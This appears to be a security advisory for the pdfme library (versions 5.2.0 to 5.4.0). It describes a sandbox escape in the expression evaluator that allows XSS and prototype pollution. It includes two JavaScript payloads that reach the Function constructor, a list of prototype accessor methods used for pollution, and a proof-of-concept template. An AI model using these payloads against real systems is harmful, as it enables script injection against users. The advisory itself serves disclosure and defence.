The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__These vulnerabilities allow attackers to:
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
{
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-10T17:43:52Z",
"nvd_published_at": "2025-07-10T19:15:27Z",
"severity": "MODERATE"
}